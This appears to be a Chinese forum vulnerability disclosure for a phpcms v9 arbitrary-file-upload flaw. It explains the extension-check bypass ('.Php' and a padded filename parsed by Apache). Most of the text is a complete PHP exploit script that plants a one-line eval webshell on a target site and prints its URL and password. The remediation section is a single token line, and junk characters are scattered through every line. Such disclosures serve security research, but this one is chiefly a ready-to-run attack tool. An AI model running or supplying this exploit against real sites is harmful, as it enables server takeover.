漏洞类型: 文件上传导致任意代码执行
9 m. X, u* H8 D; l; `, F9 ]4 l7 q( d9 n
简要描述:) l' Z1 J4 h- L6 h; F( U1 N
" j# ^# ]8 A) G% P2 h1 D9 V4 S9 V' F
phpcms v9 getshell (apache)
' z. b$ p2 t0 D( o% {4 e3 v6 s详细说明:
- F. R; R s% M0 f* @, t) l8 q
, b( f3 G7 R3 Q) \/ ~" o漏洞文件:phpcms\modules\attachment\attachments.php# E7 \ M, r$ B* S9 T
9 i' D! k1 G- T% p* G! }public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } ) u4 @1 ?& L) L5 k6 R$ k
后缀检测:phpcms\modules\attachment\functions\global.func.php2 A7 {' h: X3 P5 O. h
4 c% A$ T# h: V3 T- s' M
8 O0 r7 w- e% a+ q* p: y/ N8 ^6 y4 \( b7 H/ d
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
3 Y/ L I9 L6 l+ r! B1 a% o
8 k; Z/ L" j; }# b( f6 ]关键函数:
* N# x9 k) S0 {) D. o3 \" s n) H0 {% [% F+ t
8 K2 R9 y/ t0 m
* `2 H3 Z) w( C! l- \! L! [
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
: d! d o: a# H3 s4 X0 } o- j
8 O* }* I$ a6 Q1 L+ i Fileext函数是对文件后缀名的提取。. _% `' M& ^) {* M
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
# b! R+ J1 X8 n1 l; A" s7 Y2 a经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
% Q# A! f0 e N! ?, v我们回到public function crop_upload() 函数中
' P( ^ W% }3 F" S- n1 @4 Sif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();% y/ [* D1 N' b- c1 N* @
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
8 }8 n2 @" Q+ |2 o5 R2 i这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
* ~- k& V4 O% o经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。 P$ x- v/ ?3 b" U
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
; E3 k4 [7 a1 S. e: m看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
0 ?4 h: w4 t: j' t漏洞证明:
/ \/ U' z1 e: f% I% V6 C7 \) C1 E+ b! G- L7 _
exp:
0 a+ r* V( ~9 @2 o* q5 o/ s3 p% [& b4 G. t1 `
<?php+ S- ?6 i) P( V1 s
error_reporting(E_ERROR);
" H! c1 {* n, p" Z' n! Sset_time_limit(0);
' M& }" ]) i" { x$ m3 M7 F$pass="ln";8 }8 U `$ ]4 f& g
print_r('
; ^2 ?7 t! w" N7 b+---------------------------------------------------------------------------+ M& ~& i, A6 R3 m" F! d# l" D) f
PHPCms V9 GETSHELL 0DAY 6 ~7 N. i3 I7 n, ^' b o2 w# l
code by L.N.
. y& i# S+ m" F7 j& t0 ^2 ?, V ]9 }' l
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net# f, ~) {( M) M8 @, E- F
+---------------------------------------------------------------------------+
1 l; D+ Q3 u' n* D- Q( o');* f4 a& s! u5 w* y
if ($argc < 2) {
9 T; O3 R* s2 G$ `print_r('& z; ~* f' b, {; U+ y! H. C" ^
+---------------------------------------------------------------------------+
4 r8 Z8 I c& {5 cUsage: php '.$argv[0].' url path# D8 @' h7 p- V9 X; U# E
! B. G& |1 y% y9 ~
Example:
3 i3 g5 `/ X O( |3 _1.php '.$argv[0].' lanu.sinaapp.com
0 C# r a. } r$ R: J. |6 e2.php '.$argv[0].' lanu.sinaapp.com /phpcms& p! \9 q1 F. G3 v M- d' p
+---------------------------------------------------------------------------+: q% M$ T3 ~# T3 A* L5 _$ X$ J6 {% a
');
2 v. c! \$ ~+ K6 aexit;
3 s- A% g! l, s5 Z" H}% a5 t" Y. c( B( o/ j% x/ r9 w/ f: l
1 R9 a* F: t/ u- b- F( S
$url = $argv[1];
, j( i1 G$ D* S; U' |0 i* @3 J$path = $argv[2];
7 T- J, P, s F2 ~' C' M6 X$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';' u& K( w6 U0 y: P! z/ D" F* E& W
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';1 ]) R. L* s- M' O4 V" e D
if($ret=Create_dir($url,$path))( j3 E: B1 N0 c R3 f
{
# O" `5 X5 k9 K) u6 e; \; e//echo $ret;6 b: f, `6 U% Z8 v- r/ [
$pattern = "|Server:[^,]+?|U";! D( l$ [, q- S
preg_match_all($pattern, $ret, $matches);- v' L6 y* G8 L C( v
if($matches[0][0]) r; V; E3 ?) |3 H, A& p e
{
2 M* w- H1 U7 Q/ N A6 tif(strpos($matches[0][0],'Apache') == false)( ~' Q9 l1 b$ e$ T4 s
{0 \, s9 F7 T6 L2 u4 z
echo "\n亲!此网站不是apache的网站。\n";exit;& e) o: K) J5 ?& C1 B* r" z# ?
}: b' U; \& o5 v z9 Y U
}
: c' R* S2 e+ a( `6 @" k: K$ret = GetShell($url,$phpshell,$path,$file);# g) V! y3 l% Y9 ?
$pattern = "|http:\/\/[^,]+?\.,?|U";) n* X1 v* j" t0 `
preg_match_all($pattern, $ret, $matches);5 Y9 y3 `( Q" G- |% d/ @. k Y5 @
if($matches[0][0])
7 K+ m& U# k- E3 N{
K# X, I# a( qecho "\n".'密码为: '.$pass."\n";
( r, z; f! h8 Zecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;0 |$ A) S# b2 g8 v4 l3 o
}" p! k3 P5 i! h
else
, T5 d. {5 D8 O* T8 }! {% S% K{% v+ C+ T7 v5 e# ~8 Y# z
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";" J, L j6 v, ^( B& V+ _) c T
preg_match_all($pattern, $ret, $matches);
4 g& ~) b/ b4 K" f. `" Gif($matches[0][0])0 d4 M" {! f, d, n' `
{3 @$ A5 d4 L8 Z! N
echo "\n".'密码为: '.$pass."\n";4 p" Q- p8 Z3 @, v$ T4 _5 n
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;/ I6 m5 M. ~ \7 K. k" U$ i
}* p$ ? w% x8 S- {
else
/ G4 @2 ?' V. a6 S" x{# o6 b/ W |% `+ m4 V- @/ R
echo "\r\n没得到!\n";exit;9 D6 w% j# J6 S( P, h9 M
}: m6 m5 g4 y/ N4 M7 P
}. |# A2 p* Y" t1 g7 C
}: r+ o, ^2 o/ p* A( i+ E( r
$ ~. A2 d; r' E, B( f2 c5 r" X5 x6 ufunction GetShell($url,$shell,$path,$js)
# u% p4 U/ y$ e, C% ]- _4 E{7 X$ v( R/ F9 Y1 O0 H5 k
$content =$shell;# g+ F! v( `. n F* Z0 a
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
9 v0 U3 f/ _6 T: q1 Z4 \3 v r$data .= "Host: ".$url."\r\n";, X, p! f, Q( Y2 h# n2 }' ^
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% }9 h- m9 p9 C. i8 b3 b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 U9 P& Z: Y5 \' \* C H$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
5 R; b6 \) R+ H( r: x$data .= "Connection: close\r\n";
# S. _3 ^$ p& j( k) X% V$data .= "Content-Length: ".strlen($content)."\r\n\r\n";! Y/ _5 A! ~6 b
$data .= $content."\r\n"; O! e) @2 P+ _& Y
$ock=fsockopen($url,80);0 n/ M" O @! V) n6 N9 W0 k
if (!$ock)
: I) U' a: M: `5 Q t{1 h2 a0 N. n3 `; Z* {3 z7 M( M7 `
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- {! e5 r W# U/ @% {}
3 m0 W* e, D* N$ Q- telse
& E" g' c h B$ A2 \0 K: T{; u6 U) [$ ?& G/ s( q* @
fwrite($ock,$data);
- |; N. j* @: i3 j {, X. r7 S$resp = '';3 O/ X3 [0 }1 q9 Y0 Z1 x
while (!feof($ock))
2 o6 m. ?3 y; Y4 G{
* ?# W7 o# X& h2 f, U: e* D1 p$resp.=fread($ock, 1024);. |1 }7 y+ u( H: n
}
$ P$ ?7 y( J) y: u$ c( i6 ?1 _. Ureturn $resp;
2 n/ L% {3 ]* L2 j}
. w, H$ N j& Q- h}" O' Q5 i3 N7 s8 g
6 C9 d1 m) `9 o7 T H' s/ M9 Y& w$ dfunction Create_dir($url,$path='')7 M+ m# u! A9 U4 y* m3 x
{% T4 D$ }7 w8 H0 ?: l7 C4 ]
$content ='I love you';
. l8 [8 Q3 [6 c. ~& \4 W$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";% }- r( a% P+ {* P, l, I, |* ]
$data .= "Host: ".$url."\r\n";
+ C+ c& E! {# e1 g' B' P; L! L2 b$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";6 P# G6 x8 t& ?. U* V
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 [1 T9 m: V- w' `6 V* q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
8 H% @ t F9 W3 K$data .= "Connection: close\r\n";5 D5 G/ A2 I3 y$ @4 a
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";8 L# [; g/ z3 p4 [- B
$data .= $content."\r\n";
, y0 ^) W& w" G; }6 I" C0 G1 A7 O. P$ock=fsockopen($url,80);: }. l- ^+ S* t7 T1 B$ s N
if (!$ock)# E! ?7 L+ h2 J$ w
{7 f' k. F( |0 f# D, L" J
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- l4 N$ q/ c& ?9 }}
9 f! i+ ]4 y7 m" q) o% nfwrite($ock,$data);* W( s: R- ^* X8 Y% m; d+ R
$resp = '';, d! ?0 Y [, f% H& o
while (!feof($ock)); A, h9 m, s' E7 F6 t& t
{
# X/ q$ L8 m" N3 p P4 E) _$resp.=fread($ock, 1024);8 o1 Z/ L" c. U
}
- L5 ^- }$ Z2 A& @! g' i% g4 `return $resp;
( F2 N2 w9 j2 f# A& ?9 R( @9 e7 p}
% t: g5 D% y6 u& V3 p7 G% f% V x?> * w8 ]' p6 k2 U3 h/ |. |
) d* o" H; `- }3 K% P
修复方案:
, A( G, r1 s$ G/ v, X' k: }8 d1 d7 A& Y2 g/ u8 E! F
过滤过滤再过滤: z) b" l/ r; {& p
" T9 s/ \( U' Q; d% ~ |